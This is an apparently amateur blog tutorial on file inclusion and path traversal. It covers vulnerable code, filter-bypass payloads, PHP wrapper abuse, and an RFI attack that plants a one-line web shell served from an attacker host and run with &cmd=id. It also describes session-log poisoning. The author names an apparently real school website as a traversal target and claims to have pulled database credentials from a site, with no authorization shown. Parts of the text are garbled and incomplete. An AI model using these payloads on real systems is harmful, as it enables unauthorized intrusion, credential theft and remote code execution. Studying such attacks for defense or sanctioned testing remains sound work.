Intro to File Inclusions or path traversal
Many modern back-end languages, such as
PHP
, Javascript
, or Java.
If this are not securely coded, an attacker may
manipulate these parameters to display the content of any local file on
the hosting server, leading to a Local File Inclusion (LFI) vulnerability. Path traversal is also known as directory traversal. These vulnerabilities enable an attacker to read arbitrary files on the server that is running an application. In some cases, an attacker might be able to write to arbitrary files on the server and ultimately take full control of the server. Examples of Vulnerable Code
Let's look at some examples of code vulnerable to File Inclusion to
understand how such vulnerabilities occur. As mentioned earlier, file
Inclusion vulnerabilities can occur in many of the most popular web
servers and development frameworks, like
PHP
, NodeJS
, Java
, .Net
,
and many others. Each of them has a slightly different approach to
including local files, but they all share one common thing: loading a
file from a specified path. For example:Code: php
if (isset($_GET['filename'])) {
include($_GET['filename']);
}
Code: javascript
if(req.query.filename) {
fs.readFile(path.join(__dirname, req.query.filename), function (err, data) {
res.write(data);
});
}
Code: js
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.filename}/about.html`);
});
Code: jsp
<c:if test="${not empty param.filename}">
<jsp:include file="<%= request.getParameter('filename') %>" />
</c:if>
Code: cs
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['filename'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['filename'] %>"); %>
}
The following table shows which functions may execute files and which only read file content:
Function | Read Content | Execute | Remote URL |
---|---|---|---|
PHP | |||
include() /include_once() |
✅ | ✅ | ✅ |
require() /require_once() |
✅ | ✅ | ❌ |
file_get_contents() |
✅ | ❌ | ✅ |
fopen() /file() |
✅ | ❌ | ❌ |
NodeJS | |||
fs.readFile() |
✅ | ❌ | ❌ |
fs.sendFile() |
✅ | ❌ | ❌ |
res.render() |
✅ | ✅ | ❌ |
Java | |||
include |
✅ | ❌ | ❌ |
import |
✅ | ✅ | ✅ |
.NET | |||
@Html.Partial() |
✅ | ❌ | ❌ |
@Html.RemotePartial() |
✅ | ❌ | ✅ |
Response.WriteFile() |
✅ | ❌ | ❌ |
include |
✅ | ✅ | ✅ |
In all cases, File Inclusion vulnerabilities are critical and may eventually lead to compromising the entire back-end server.
Basic LFI
first of all for the lfi we need to find a url that includes file . like https://*?page=contact.php/html/js/css and other extentions may remains some time this extension may not remains but don't miss to try lfi. so, for lfi our first word is to find oout the file contain url. then need to find out the directory traversal sequence means where this file is located . for this vulnerability our first work is to find out right path of the directory. suppose this url https://themontessorichildrensacademy.com/cms_worker.php?page=contact.php contain contact.php file . now your work that where the file is exactly located. this file may be remains in the first directory or may be in the 4 or 5 directory deepth or more. then the next steps is that count the right sequence of the directory. but question is that how I we will count it. we can count it by typing ../ or ..\ both arer valid ../ means one directory../../ means 2 directory like this if it increases and the we go to the depth. let see some practical. look at the picture you can see that in the first directory we gain our target .
now see the next picture we try many times not find but when i use one more we find out it.
Tip: It can always be useful to be efficient and not add unnecessary
../
several times, especially if we were writing a report or writing an exploit. So, always try to find the minimum number of ../
that works and use it. You may also be able to calculate how many
directories you are away from the root path and use that many. For
example, with /var/www/html/
we are 3
directories away from the root path, so we can use ../
3 times (i.e. ../../../
). Basic Bypasses
One of the most basic filters against LFI is a search and replace filter, where it simply deletes substrings of (
../
) to avoid path traversals. Non-recursive path traversal filters are designed to prevent directory traversal attacks by blocking specific patterns like ../
without allowing deeper recursive bypasses. For example:
Code: php
$language = str_replace('../', '', $_GET['language']);
The above code is supposed to prevent path traversal, and hence renders
LFI useless. If we try the LFI payloads we tried in the previous
section, we get the following error:
look at the second one and this. what is the difference between the two. the first one when we use ../ it returns that there is no such kind of file or folder. but now when we use the same way it returned us without ../ just says that folder /something /something / not found. it means the web filter remove the ../ sign as a lfi query. it's mean it doesn't take any ../ symbol as an input. so what we can do let see. there are many ways to bypass it like using double substring ....// we may use
..././
or ....\/,
If the target web application did not allow .
and /
in our input, we can URL encode ../
into %2e%2e%2f
, which may bypass the filter, adding a null byte (%00
) at the end of the string would terminate the string and not consider anything after it. we can end our payload with a null byte (e.g. /etc/passwd%00
), such that the final path passed to include()
would be (/etc/passwd%00.php
). some web applications append an extension to our input string (e.g. .php
), to ensure that the file we include is in the expected extension. approved path. etc PHP Wrappers & filtered
PHP Wrappers to be able to extend our LFI exploitation, and even potentially reach remote code execution. PHP Filters
are a type of PHP wrappers, where we can pass different types of input
and have it filtered by the filter we specify. To use PHP wrapper
streams, we can use the
php://
scheme in our string, and we can access the PHP filter wrapper with php://filter/
. . The filter
wrapper has several parameters, but the main ones we require for our attack are resource
and read
. The resource
parameter is required for filter wrappers, the read
parameter can apply different filters on the input
resource, so we can use it to specify which filter we want to apply on
our resource. There are four different types of filters available for use, which are String Filters, Conversion Filters, Compression Filters, and Encryption Filters. let see some php wrapper practical. here you can see that by using the php wrapper we easily get the MySQL database name and password. something this is drive to the RCE . which is more dangerous. With
allow_url_include
enabled, we can proceed with our data
wrapper attack. The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the (allow_url_include
)
setting is enabled in the PHP configurations. So, let's first confirm
whether this setting is enabled, by reading the PHP configuration file
through the LFI vulnerability. To do so, we can include the PHP configuration file found at (/etc/php/X.Y/apache2/php.ini
) for Apache or at (/etc/php/X.Y/fpm/php.ini
) for Nginx, where X.Y
is your install PHP version. for this we need to use our shell for easily work. or php -i, php --ini. Similar to the data
wrapper, the input wrapper can be used to include external input and execute PHP code. Finally, we may utilize the expect wrapper, which allows us to directly run commands through URL streams. Remote File Inclusion (RFI)
In most languages, including remote URLs is considered as a dangerous
practice as it may allow for such vulnerabilities. This is why remote
URL inclusion is usually disabled by default. For example, any remote
URL inclusion in PHP would require the
allow_url_include
setting to be enable. However, this may not always be reliable, as even if this setting is enabled. However, an LFI may not necessarily be an RFI. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL
, and see if we can get its content. At first, we should always start by trying to include a local URL
to ensure our attempt does not get blocked by a firewall or other security measures. So, let's use (http://127.0.0.1:80/index.php
) as our input string and see if it gets included. like this here you can see this it takes input .now see this it provide us some error.
it's look like the wrapper. you can use this. The first step in gaining remote code execution is creating a malicious
script in the language of the web application, PHP in this case. We can
use a custom web shell we download from the internet, use a reverse
shell script, or write our own basic web shell as we did in the previous
section, which is what we will do in this case. echo '<?php system($_GET["cmd"]); ?>' > shell.php It is a good idea to listen on a common HTTP port like
80
or 443
,
as these ports may be whitelisted in case the vulnerable web
application has a firewall preventing outgoing connections. Furthermore,
we may host the script through an FTP service or an SMB service, as we
will see next. Now, we can start a server on our machine with a basic python server with the following command, as follows: sudo python3 -m http.server 80,443. you can see the port is listening.Now, we can include our local shell through RFI, like we did earlier, but using
<OUR_IP>
and our <LISTENING_PORT>
. We will also specify the command to be executed with &cmd=id. so command is look like this:
http://vulnerable site.com/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
Log Poisoning
We have seen in previous sections that if we include any file that
contains PHP code, it will get executed, as long as the vulnerable
function has the
Execute
privileges. The attacks we will
discuss in this section all rely on the same concept: Writing PHP code
in a field we control that gets logged into a log file (i.e. poison
/contaminate
the log file), and then include that log file to execute the PHP code.
For this attack to work, the PHP web application should have read
privileges over the logged files, which vary from one server to another. following functions with Execute
privileges should be vulnerable to these attacks:
Function | Read Content | Execute | Remote URL |
---|---|---|---|
PHP | |||
include() /include_once() |
✅ | ✅ | ✅ |
require() /require_once() |
✅ | ✅ | ❌ |
NodeJS | |||
res.render() |
✅ | ✅ | ❌ |
Java | |||
import |
✅ | ✅ | ✅ |
.NET | |||
include |
✅ | ✅ | ✅ |
Most PHP web applications utilize
PHPSESSID
cookies, which
can hold specific user-related data on the back-end, so the web
application can keep track of user details through their cookies. These details are stored in session
files on the back-end, and saved in /var/lib/php/sessions/
on Linux and in C:\Windows\Temp\
on Windows. The name of the file that contains our user's data matches the name of our PHPSESSID
cookie with the sess_
prefix. For example, if the PHPSESSID
cookie is set to el4ukv0kqbvoirg7nkp4dncpk3
, then its location on disk would be /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
. The first thing we need to do in a PHP Session Poisoning attack is to
examine our PHPSESSID session file and see if it contains any data we
can control and poison. So, let's first check if we have a PHPSESSID
cookie set to our session: inspect the web page go to the and you can see here cookie'sAs we can see, our
PHPSESSID
cookie value is nhhv8i0o6ua4g88bkdl9u1fdsd
, so it should be stored at /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
. Let's try include this session file through the LFI vulnerability and view its contents: oppose not foundlet's see another site.
0 Comments
Thanks For your comment